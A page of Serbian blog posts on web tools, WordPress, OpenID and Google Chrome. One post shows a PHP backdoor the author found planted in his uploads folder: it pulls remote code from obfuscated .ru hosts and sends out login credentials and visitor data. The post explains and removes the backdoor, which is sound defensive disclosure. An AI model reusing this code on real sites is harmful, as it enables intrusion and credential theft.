Svi postovi sa bloga: Avramov bRlog

TinEye je pretraživač slika. Međutim, on slike ne pretražuje po ključnim rečima nego po - sadržaju! Za razliku od standardnih pretraživača koji pretražuju slike po ključnim rečima, ovaj pretraživač slike pretražuje po samom sadržaju slike. I to radi vrlo uspešno:

Danas mi je zatrebala neka slika i otišao sam na Google, te ukucao ključne reči “i love you“. Iskočila mi je jedna sličica koju sam poželeo da iskoristim. Međutim, slika nije postojala na originalnoj lokaciji (i u originalnoj veličini). Onda se setih da sam relativno skoro čuo za pretraživač slika koji u svom imenu sadrži “eye”, pa se poslužih Google-om i dobih pravu adresu: http://tineye.com/

Zatim sam se registrovao/ulogovao na taj sajt, uzeo URL thumbnail-a slike sa Google-a i prosledio ga TinEye-u. Rezultati su zapanjujući - našao sam 19 sličnih slika, od kojih je najveća bila 410×329 piksela, što je sasvim zadovoljavajuća veličina za ovo što mi treba ;-)

p.s. Većina linkova u ovom postu ukazuju na Google-ov cache slika, tako da je moguće da će posle nekog vremena prestati da rade.

Pre nekog vremena povela se diskusija na DevProTalk-u (inicijator je bio Filip Miletić) o tome da se napravi programska promena imena po padežima, odnosno, za početak, samo iz nominativa u vokativ, a sve u cilju da se, kada vam se sajt obraća, obraća sa npr.  “Zdravo Filipe”, umesto “Zdravo Filip”, čak iako ste prilikom registracije kao ime uneli “Filip”.

Inicijalnu verziju napravio je Miloš Vukotić, a onda sam mu se pridružio i ja, te smo malo sredili projekat. Rezultat je - Projekat Vokativ.

“Vokativ” je pokušaj da se obezbedi što preciznija automatska programska promena prvenstveno ličnih imena, a onda i ostalih imenica iz nominativa u vokativ. Zamislite da se na nekom sajtu registrujete sa imenom “Filip”, i umesto da vas sajt, kada se sledeći put ulogujete, pozdravi sa “Zdravo Filip!” što je normalno za sajtove sa engleskog govornog područja (”Hello Filip!” je sasvim primereno), taj pozdrav glasi “Zdravo Filipe!”, što je normalno za srpski jezik.

Pozivam vas sve da istestirate skriptu i da podelite svoje mišljenje sa mnom, ovde -)

http://vokativ.vokabular.org/

Poslednja reklama italijanske modne kuće je malo… previše? Mada… svaka čast za ideju -)

p.s. Ako video slučajno bude uklonjen sa metacafe-a (kao što su uklonili 50 kopija istog sa YouTube-a), možete ga videti na www.sfwxxx.com

Danas je krenuo sa radom forum za podršku domaćim korisnicima Wordpress-a, kao što sam i najavio prošlog meseca. To što u naslovu piše “srpski Wordpress” ne znači da ste obavezni da koristite lokalizovanu verziju softvera, već da je forum namenjen korisnicima sa našeg govornog područja.

Jako mi je drago da je napokon krenuo sa radom naš forum, i nadam se da će ovo biti centralno mesto gde će se okupljati ljudi kojima je potrebna podrška za Wordpress, pošto smo do sad bili uglavnom razbacani po nekim domaćim foruma.

Ukoliko već imate nalog na Wordpress.org, nije potrebno da se ponovo registrujete već možete koristiti isti nalog, pošto se koristi ista baza korisnika. A da ne biste svaki čas svraćali na forum da vidite ima li novih poruka, forum možete pratiti i preko glavnog RSS izvora.

A sad, pravac http://sr.forums.wordpress.org/

Znate li šta je OpenID?

Sa OpenID tehnologijom više ne morate da pamtite gomilu korisničkih imena (username) jer OpenID eliminiše potrebu da se iznova svaki put registrujete na svakom novom sajtu.

Kako? Registrujete se samo jednom kod nekog OpenID provajdera, i od tada se svuda, čak i na sajtovima koje prvi put posećujete, prijavljujete sa tim jednim korisničkim imenom! Sajt na koji se prijavljujete kontaktira vašeg OpenID provajdera i dobija potvrdu da su podaci ispravni i vi ste ušli!

Jedna od najvećih prednosti OpenID sistema je to što sajt na koji se logujete ni u jednom trenutku ne dobija vašu OpenID šifru, tako da ne postoji apsolutno nikakva mogućnost da ista bude zloupotrebljena (pošto znamo da većina korisnika koristi jednu ili par šifara za sve sajtove na koje se loguju).

Prilikom prijave koristite samo vaše korisničko ime, odnosno vašu OpenID URL adresu! Tada vas na kratko prebace kod vašeg OpenID provajdera gde ukucavate svoju lozinku. Kada je provajder potvrdio da ste to stvarno vi, vraća vas na željeni sajt kao prijavljenog korisnika.

Uskoro se planira pokretanje prvog srpskog OpenID servisa, a ja sam u cilju promovisanja ove tehnologije omogućio da i na bRlogu možete ostavljati komentare, identifikujući se samo sa svojom OpenID URL adresom, koju možete uneti u polje za web sajt. Dakle, sada ne morate unositi ni svoje ime ni e-mail adresu (njih će “popuniti” vaš OpenID provajder identiteta) već samo adresu (i komentar) i OpenID će sve ostalo da sredi ;-)

izvor: mojid.rs

Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:

base.php

  • error_reporting(0);
  • if (isset($_POST["l"]) and isset($_POST["p"])) {
  •         if (isset($_POST["input"])) {
  •                 $user_auth = "&l=" . base64_encode($_POST["l"]) . "&p=" . base64_encode(md5($_POST["p"]));
  •         } else {
  •                 $user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];
  •         }
  • } else {
  •         $user_auth = "";
  • }
  • if (!isset($_POST["log_flg"])) {
  •         $log_flg = "&log";
  • }
  • if (!@include_once(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) . "&url=" . base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {
  •         if ($_POST["l"] == "special") {
  •                 print "sys_active" . `uname -a`;
  •         }
  • }
  • create.php

  • error_reporting(0);
  • $s = "e";
  • $a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
  • $b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
  • $c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
  • $d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
  • $e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
  • $f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
  • $g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
  • $h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
  • $str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".$s";
  • if ((include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) {
  • } else {
  •         include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str);
  • }
  • Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa  http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese - klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje - ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.

    A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama. -D

    Krajem prošog meseca bejah na prezentaciji Google Apps organizovanoj od strane CRI-a. Prezentacija je na  blogu ovog domaćeg provajdera najavljena svega dva dana pre održavanja iste, a ostali mediji na Internetu su vest objavili veče pre održavanja, tako da me neće čuditi ukoliko niste čuli za ovo dešavanje. A ja se izvinjavam što nisam ranije ovo okačio, jednostavno sam zaboravio u svoj onoj trci oko Instant Update-a.

    Sve u svemu, nije bilo loše. Upoznah lično par ljudi sa kojima sam kontaktirao ranije preko interneta, među kojima su Nebojša Radović (www.eniax.net), Zoran Torbica (www.cri.rs) i Slobodan Marković (www.internodium.org).

    Drugi video snimak je napravljen za potrebe mog sajta www.dredovi.info, pošto se dosta posetilaca pitalo “Kako se zapravo prave dredovi?” pa smo pored teksta, napravili i video snimak. U devet minuta spakovano je pravljenje i sređivanje dreda (što inače zajedno traje 20-30 minuta):

    Iako sam ga najavio za kraj juna, pa se to ispostavilo kao loša procena, te smo prekoračili rok za nešto više od mesec dana… no, napokon je Instant Update 3 objavljen. Bio je gotov još 20. avgusta, ali trebalo je dodatno ga ispeglati vizuelno i ispraviti neke greškice koje su se javljale u hodu, te izmeniti dosta stvari ispod haube na samom sajtu, što smo završili danas. Od devet najavljenih tačaka postigli smo da odradimo osam, a jedina koju nismo implementirali uopšte je - višejezičnost. Iako se skripta da prilično lako prevesti (menjanjem slika i prevođenjem nekih fajlova) prava drop-in izmena jezika ne postoji, ali evo, obećavam da ćemo u budućnosti i to implementirati, a dok to ne uradimo moraćete se zadovoljiti novim dashboard-om, korisničkim grupama sa nivoima pristupa, automatskim kreiranjem navigacionih menija, novim WYSIWYG editorom, novim plain-text editorom (editor fajlova sa highlightom HTML sintakse), potpuno novom dokumentacijom i osnovnom podrškom za dodatke (plugin-ove). Evo kratkog video snimka gde možete videti šta smo novo ubacili u novi Instant Update:

    Disklejmer: Originalni video je 640×480px, a ovo je samo skupljena verzija jer sam izrenderovao 400×300px, pa je bio iste veličine (12MB) pa nisam hteo i to da kačim na server, ali vidim da je možda bilo bolje da sam to okačio. No, iskreno, mrzelo me opet da “rendam” sat vremena, nije se imalo vremena. Enivej, ako želite negde da “embedujete” ovaj video snimak, možete pokupiti kodove sa Instant Update sajta (640×480, 400×300).

    Eh sad, iskreno, moglo je još da se radi na Instant Update-u, ali duboko smo prekoračili postavljene rokove, te smo odlučili da izbacimo ovu stabilnu verziju. Biće novih verzija, ali osim te višejezičnosti sumnjam da će biti bilo čega novog osim manjih peglanja koda i ispravljanja bugova (kojih, verujem, ima).

    Ova verzija je, razumno, nešto malo skuplja od prethodne, ali stari korisnici mogu da plate samo razliku i da dobiju novu verziju. Takođe, skripta se instalira uz pomoć Transaction ID-a koji dobijete od PayPal-a tako da se nadam da ćemo barem malo zagorčati život krekerima, a ne kao prošla verzija (nije bila nikako zaštićena) koja se našla na warez-bb.org -(

    Screen shot-ove neću da ostavljam jer sada imate live demo na sajtu, pa vas pozivam da isprobate Instant Update što pre. Zato, pravac www.instant-update.com!

    Danas, pošto sam objavio kritiku o Google Chrome browser-u, više nisam bio u mogućnosti da izmenim taj unos i da ispravim greške nastale u njemu, jer kad god bih to pokušao, čekala bi me sledeća greška:

    Warning: ini_set() has been disabled for security reasons in /home/user/public_html/wp-includes/pluggable.php on line 1517

    Warning: require_once(Text/Diff/Renderer.php) [function.require-once]: failed to open stream: No such file or directory in /home/user/public_html/wp-includes/Text/Diff/Renderer/inline.php on line 17

    Fatal error: require_once() [function.require]: Failed opening required ‘Text/Diff/Renderer.php’ (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/user/public_html/wp-includes/Text/Diff/Renderer/inline.php on line 17

    Ne znam zašto se to dešavalo sa tim unosom, jer je kod svih ostalih radilo. U svakom slučaju, rešenje problema je prilično jednostavno i zahteva editovanje dva fajla, a to su:

    1. wp-includes/Text/Diff/Renderer/inline.php

    Kod na liniji 17 treba zameniti sledećim kodom:

  • require_once ABSPATH . WPINC . ‘/Text/Diff/Renderer.php’;
  • 2. wp-includes/Text/Diff.php

    Kod na liniji 52 treba zameniti sledećim kodom:

  • require_once ABSPATH . WPINC . ‘/Text/Diff/Engine/’ . $engine . ‘.php’;
  • izvor za rešenje: http://www.wacdesigns.com/

    Preksinoć, čim sam čuo vest, požurio sam sa objavljivanjem iste, i reklamiranjem novog Google browsera. Međutim, ukoliko bacite pogled na uslove korišćenja novog Google-ovog browsera, videćete da ste primorani da se apsolutno odreknete privatnosti ukoliko želite da koristite ovaj browser:

    Normal 0 false false false MicrosoftInternetExplorer4

    11. Licenca za vaš sadržaj

    11.1 Zadržavate autorska i druga prava koja već imate za sadržaj koji šaljete, postavljate ili prikazujete u okviru usluga ili preko njih. Slanjem, postavljanjem i prikazivanjem sadržaja vi dajete kompaniji Google licencu koja je trajna, neopoziva, dostupna svuda, besplatna i neekskluzivna. Na osnovu ove licence kompanija Google može da umnožava, prilagođava, menja, prevodi, objavljuje, javno koristi i prikazuje i distribuira bilo koji sadržaj koji vi pošaljete, postavite ili prikažete u okviru usluga ili preko njih. Jedina svrha ove licence je da omogući kompaniji Google da prikazuje, distribuira i promoviše usluge i ona može biti poništena za određene usluge, kao što je definisano u dodatnim uslovima tih usluga.

    11.2 Prihvatate da ova licenca uključuje pravo kompanije Google da omogući da takav sadržaj bude dostupan drugim kompanijama, organizacijama ili pojedincima kojima Google pruža usluge ustupanja sadržaja i da može da koristi takav sadržaj u vezi sa pružanjem tih usluga.

    11.3 Saglasni ste da kompanija Google, u toku preduzimanja tehničkih mera neophodnih za obezbeđivanje usluga svojim korisnicima može da (a) prenosi ili distribuira vaš sadržaj na razne javne mreže i putem različitih medija i (b) vrši promene vašeg sadržaja koje su neophodne da bi se taj sadržaj prilagodio i bio u skladu sa tehničkim zahtevima mreža za povezivanje, uređaja, usluga ili medija. Prihvatate da će ova licenca dozvoliti kompaniji Google da obavi ove radnje.

    11.4 Potvrđujete i garantujete kompaniji Google da imate sva prava, punomoćja i ovlašćenja koja su neophodna da biste dodelili gorenavedenu licencu.

    Ovo je ujedno i jedini razlog zašto ja lično ovaj browser neću koristiti kao primarni browser. Barem dok ne promene uslove korišćenja. Chrome je odličan browser, iako već ima dva exploita koji mogu dovesti u pitanje njegovu sigurnost (prvi, drugi), ali dobro, ipak je to beta verzija softvera i normalno je da ima propuste. Ono što je odlična ideja je to da je svaki tab u browseru izolovan, odnosno pokreće ga drugi proces, tako da čak i da jedan tab “padne,” ostali će nastaviti da rade. Dobro, u realnosti neće (prvi gore naveden exploit ruši ceo browser), ali ideja je odlična i verujem da će tako i biti u finalnoj verziji. Lepo renderuje CSS i izvršava JS, što je takođe plus za ovaj browser, kao i činjenica da je preveden na srpski jezik, što bi moglo biti od koristi mnogim našim ljudima koji ne znaju engleski. Ali opet, i Firefox je preveden na srpski jezik, a postoji i verzija za Linux (i MacOS) dok kod Chrome-a to nije slučaj.

    Takođe, malo mi je čudno to što se browser instalira u skriveni folder “C:\Documents and Settings\korisničko ime\Local Settings\Application Data\Google\Chrome\Application\”. Zar nije (nepisano) pravilo da programi idu u C:\Program Files\?

    Eh da, uz Google Chrome dolazi i (potencijalni) spyware zvani GoogleUpdate.exe, koji, u najboljem slučaju, Google-u šalje informacije o instaliranim programima na vašem računaru. Ali dobro, ako ste prihvatili gore citirane tačke uslova, onda  vam ni GoogleUpdate neće biti problem.

    Na kraju - Google Chrome nije loš browser, u smislu njegovih tehničkih karakteristika, ali nikako ne savetujem da ga koristite u neke poslovne svrhe ili tako nešto, jer ko zna gde te informacije mogu završiti. Ja sam ga probao, ali to je to. Barem dok ne promene uslove korišćenja.

    blogodak blog

    Blogodak?

    Blogodak je vaš pogled na domaću blogosferu. Prijavite se i napravite sopstvenu listu blogova koje pratite.

    O projektu

    Podrška

    MyCity.co.yu

    DevProTalk